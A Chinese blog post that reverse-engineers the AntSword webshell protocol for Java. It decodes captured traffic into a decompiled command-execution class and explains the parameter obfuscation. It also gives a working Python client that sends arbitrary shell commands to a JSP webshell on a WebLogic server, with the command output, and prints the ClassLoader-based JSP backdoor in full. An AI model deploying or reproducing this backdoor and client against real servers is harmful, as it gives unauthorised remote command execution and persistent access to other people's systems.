最近平台需要集成java的webshell工具,由于以前只接触过php的webshell,于是在构造payload的时候走了许多弯路。然后就下定决心研究一下蚁剑的构造方法。在添加好目标后,执行命令pwd
,通过AWVS[1]抓包后获得以下数据包
k6eb07872218cc=wkL2Jpbi9zaA%3D%3D&la964f5d9245d6=qv&passwd={这里是base64部分,无法过审..}
拿到这个数据包后需要先进行url解码,并且根据&符号拆分得到以下数据
k6eb07872218cc=wkL2Jpbi9zaA== la964f5d9245d6=qv passwd={这里是base64部分,无法过审..}
最初看到这个数据的时候,就怀疑他们是base64处理后的数据,不过经过一番操作后,发现会解码失败.但是其中某一项却又能解码成功且得到大量乱码,顿时心生退意。辛亏得到高人指点,编写个简单程序对其进行解码,然后将结果写入文件当中。(一般人如果没接触过java字节码的,估计跟我一样看到乱码后就会放弃了,)
from base64 import b64decode
s = '''{passwd对应的值}'''
src = b64decode(s)
with open('s.class', 'wb+') as fw:
fw.write(src)
然后在高人的指点下,用Luyten
工具加载字节码文件得到java源码
import javax.servlet.jsp.*; import javax.servlet.*; import java.util.*; import java.io.*; public class Exec { public String encoder; public String cs; public String randomPrefix; @Override public boolean equals(final Object o) { final PageContext pageContext = (PageContext)o; final ServletRequest request = pageContext.getRequest(); final ServletResponse response = pageContext.getResponse(); this.randomPrefix = "2"; this.encoder = "base64"; this.cs = "UTF8"; final StringBuffer sb = new StringBuffer(""); final StringBuffer sb2 = new StringBuffer(""); final String s = "dfbf2"; final String s2 = "a2f87ee1"; final String s3 = "k6eb07872218cc"; final String s4 = "rf8c1276e83f4c"; final String s5 = "la964f5d9245d6"; try { response.setContentType("text/html"); request.setCharacterEncoding(this.cs); response.setCharacterEncoding(this.cs); final String ec = this.EC(this.decode(request.getParameter(s3) + "", this.encoder, this.cs), this.encoder, this.cs); final String ec2 = this.EC(this.decode(request.getParameter(s4) + "", this.encoder, this.cs), this.encoder, this.cs); final String ec3 = this.EC(this.decode(request.getParameter(s5) + "", this.encoder, this.cs), this.encoder, this.cs); sb.append(s); sb2.append(this.ExecuteCommandCode(ec, ec2, ec3, this.cs)); sb.append(sb2.toString()); sb.append(s2); pageContext.getOut().print(sb.toString()); } catch (Exception ex) { sb2.append("ERROR:// " + ex.toString()); } return true; } String EC(final String s, final String s2, final String s3) throws Exception { if (s2.equals("hex") || s2 == "hex") { return s; } return new String(s.getBytes(), s3); } String decode(String s, final String s2, final String s3) throws Exception { try { s = s.substring(Integer.parseInt(this.randomPrefix)); } catch (Exception ex) {} if (s2.equals("hex") || s2 == "hex") { if (s == "null" || s.equals("null")) { return ""; } final String s4 = "0123456789ABCDEF"; s = s.toUpperCase(); final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(s.length() / 2); String string = ""; for (int i = 0; i < s.length(); i += 2) { string = string + (s4.indexOf(s.charAt(i)) << 4 | s4.indexOf(s.charAt(i + 1))) + ","; byteArrayOutputStream.write(s4.indexOf(s.charAt(i)) << 4 | s4.indexOf(s.charAt(i + 1))); } return byteArrayOutputStream.toString("UTF-8"); } else { if (s2.equals("base64") || s2 == "base64") { byte[] array; if (System.getProperty("java.version").compareTo("1.9") >= 0) { final Class<?> forName = Class.forName("java.util.Base64"); final Object invoke = forName.getMethod("getDecoder", (Class<?>[])new Class[0]).invoke(forName, new Object[0]); array = (byte[])invoke.getClass().getMethod("decode", String.class).invoke(invoke, s); } else { final Object instance = Class.forName("sun.misc.BASE64Decoder").getDeclaredConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]); array = (byte[])instance.getClass().getMethod("decodeBuffer", String.class).invoke(instance, s); } return new String(array, "UTF-8"); } return s; } } String ExecuteCommandCode(final String s, final String s2, final String s3, final String s4) throws Exception { final StringBuffer sb = new StringBuffer(""); final String[] array = { s, this.isWin() ? "/c" : "-c", s2 }; final HashMap<Object, String> hashMap = new HashMap<Object, String>(System.getenv()); final String[] split = s3.split("\\|\\|\\|asline\\|\\|\\|"); for (int i = 0; i < split.length; ++i) { final String[] split2 = split[i].split("\\|\\|\\|askey\\|\\|\\|"); if (split2.length == 2) { hashMap.put(split2[0], split2[1]); } } final String[] array2 = new String[hashMap.size()]; int n = 0; for (final String s5 : hashMap.keySet()) { array2[n] = s5 + "=" + hashMap.get(s5); ++n; } final Process exec = Runtime.getRuntime().exec(array, array2); this.CopyInputStream(exec.getInputStream(), sb, s4); this.CopyInputStream(exec.getErrorStream(), sb, s4); return sb.toString(); } boolean isWin() { return System.getProperty("os.name").toLowerCase().startsWith("win"); } void CopyInputStream(final InputStream inputStream, final StringBuffer sb, final String s) throws Exception { final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, s)); String line; while ((line = bufferedReader.readLine()) != null) { sb.append(line + "\r\n"); } bufferedReader.close(); } }
到这里,已经成功了绝大部分了,接下来就是阅读源码部分.发现:
this.randomPrefix = "2"; // 行 17 // 行 31 final String ec = this.EC(this.decode(request.getParameter(s3) + "", this.encoder, this.cs), this.encoder, this.cs); final String ec2 = this.EC(this.decode(request.getParameter(s4) + "", this.encoder, this.cs), this.encoder, this.cs); final String ec3 = this.EC(this.decode(request.getParameter(s5) + "", this.encoder, this.cs), this.encoder, this.cs); String decode(String s, final String s2, final String s3) throws Exception { try { s = s.substring(Integer.parseInt(this.randomPrefix)); // 行 55 } catch (Exception ex) {}
通过阅读源码后明白,蚁剑在这里做了混淆,其实某些值是需要截断处理的,其会根据这个this.randomPrefix的值进行字符串截取,也就是后面的数据才是真正需要解码的部分。我们在notepad++里面进行手动尝试看看
k6eb07872218cc=wk /bin/sh
la964f5d9245d6=qv
rf8c1276e83f4c=odcd "/u01/oracle/weblogic/wlserver/server/lib/consoleapp/webapp";pwd;echo [S];pwd;echo [E]
看到这里就一目了然了,而且我们发现在rf8c1276e83f4c
这个key里面,包含着我们的命令pwd
,另外蚁剑通过[S]
跟[E]
两个符号将我们执行的输出给包围了起来,这样也可以精确的拿到命令的结果。
灵光一闪,我们直接替换其中的命令,然后再将后面的原始数据部分base64处理,不就得到了我们需要的payload了么,说干就干
import requests from base64 import b64encode cmd = 'ls -al' # 这里可以换成任意命令 command = ' echo [S];{};echo [E]'.format(cmd) data = { 'k6eb07872218cc': 'n9L2Jpbi9zaA==', 'la964f5d9245d6': 'HS', 'passwd': '{这里是base64部分,无法过审..}', 'rf8c1276e83f4c': 'wg'+b64encode(command) } # 下面换成你的webshell地址 rsp = requests.post( 'http://192.168.xx.xx:7001/console/framework/skins/wlsconsole/images/the-webshell-file.jsp', data=data ) print rsp.text
拿到输出:
dfbf2[S] total 636 drwxr-x--- 1 root root 4096 Nov 11 16:23 . drwxr-x--- 1 root root 4096 Nov 11 14:18 。 drwxr-x--- 2 root root 4096 Nov 11 14:18 autodeploy drwxr-x--- 1 root root 4096 Nov 11 14:20 bin drwxr-x--- 1 root root 4096 Nov 11 14:18 common drwxr-x--- 1 root root 4096 Dec 21 15:12 config drwxr-x--- 2 root root 4096 Nov 11 14:18 console-ext -rw-r----- 1 root root 136 Dec 21 15:12 derby.log -rw-r----- 1 root root 0 Dec 21 15:12 derbyShutdown.log -rw-r----- 1 root root 142 Dec 21 15:13 edit.lok -rw-r----- 1 root root 327 Apr 26 2019 fileRealm.properties drwxr-x--- 3 root root 4096 Nov 11 14:18 init-info drwxr-x--- 2 root root 4096 Nov 11 14:18 lib drwxr-x--- 2 root root 4096 Nov 11 14:18 nodemanager -rw------- 1 root root 572694 Nov 24 14:59 nohup.out drwxr-x--- 3 root root 4096 Nov 11 14:22 orchestration drwxr-x--- 2 root root 4096 Apr 26 2019 resources drwxr-x--- 2 root root 4096 Nov 11 14:22 security drwxr-x--- 1 root root 4096 Nov 11 14:18 servers -rw-r----- 1 root root 231 Dec 21 15:12 shutdown-AdminServer.py -rwxr-x--- 1 root root 270 Nov 11 14:18 startWebLogic.sh [E] a2f87ee1
搞定!
不过困扰我的问题来了,通读源码后,发现仅包含一个Class,那么凭什么会执行这个后门程序呢,终于在抠破头皮之后,想起看一看后门源码
<%@ page import="sun.misc.BASE64Decoder" %> <%! class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } } BASE64Decoder decoder=new sun.misc.BASE64Decoder(); %> <% String cls=request.getParameter("passwd"); if(cls!=null){ new U(this.getClass().getClassLoader()).g( decoder.decodeBuffer(cls) ).newInstance().equals(pageContext); } %>
代码大概意思应该是,预先生成一个BASE64Decoder
解码对象decoder
,然后新建一个U
对象,由于其继承ClassLoader
,因此可以加载我们传入的后门程序。其中U().g
方法加载decoder
解码后的数据来定义类,然后通过.newInstance()
创建一个实例,最终调用我们后门程序里面的equals
方法,并且传入pageContext
对象。
经过查询资料,pageContext
对象是javax.servlet.jsp.PageContext类的实例对象,用来代表整个JSP页面。它代表页面上下文,该对象主要用于访问 JSP 之间的共享数据,使用pageContext可以访问page、request、session、application范围的变量。
因此我们再翻看equals
函数源码发现:
// 获取pageContext final PageContext pageContext = (PageContext)o; // 获取请求对象 final ServletRequest request = pageContext.getRequest(); // 获取返回对象 final ServletResponse response = pageContext.getResponse(); // 返回对象 设置返回的内容属性 response.setContentType("text/html"); request.setCharacterEncoding(this.cs); // 返回对象 设置字符集 response.setCharacterEncoding(this.cs); //命令执行 sb2.append(this.ExecuteCommandCode(ec, ec2, ec3, this.cs)); // 往pageContext的输出里面放执行结果 pageContext.getOut().print(sb.toString());
因此通过以上代码,我们就能够在返回数据里面拿到我们命令执行的结果了
猜想:
response
对象的属性为stream
,那么我们应该就可以实现文件的下载不过那样我们还得编写java源码,再编译成字节码文件.最简单的方式还是,抓包蚁剑,然后还原数据包,直接将关键部分换成我们的,再发送post请求就行啦!
到这里,一个简单的java webshell连接工具估计你也能够编写了
Acunetix Web Vulnerability Scanner ↩︎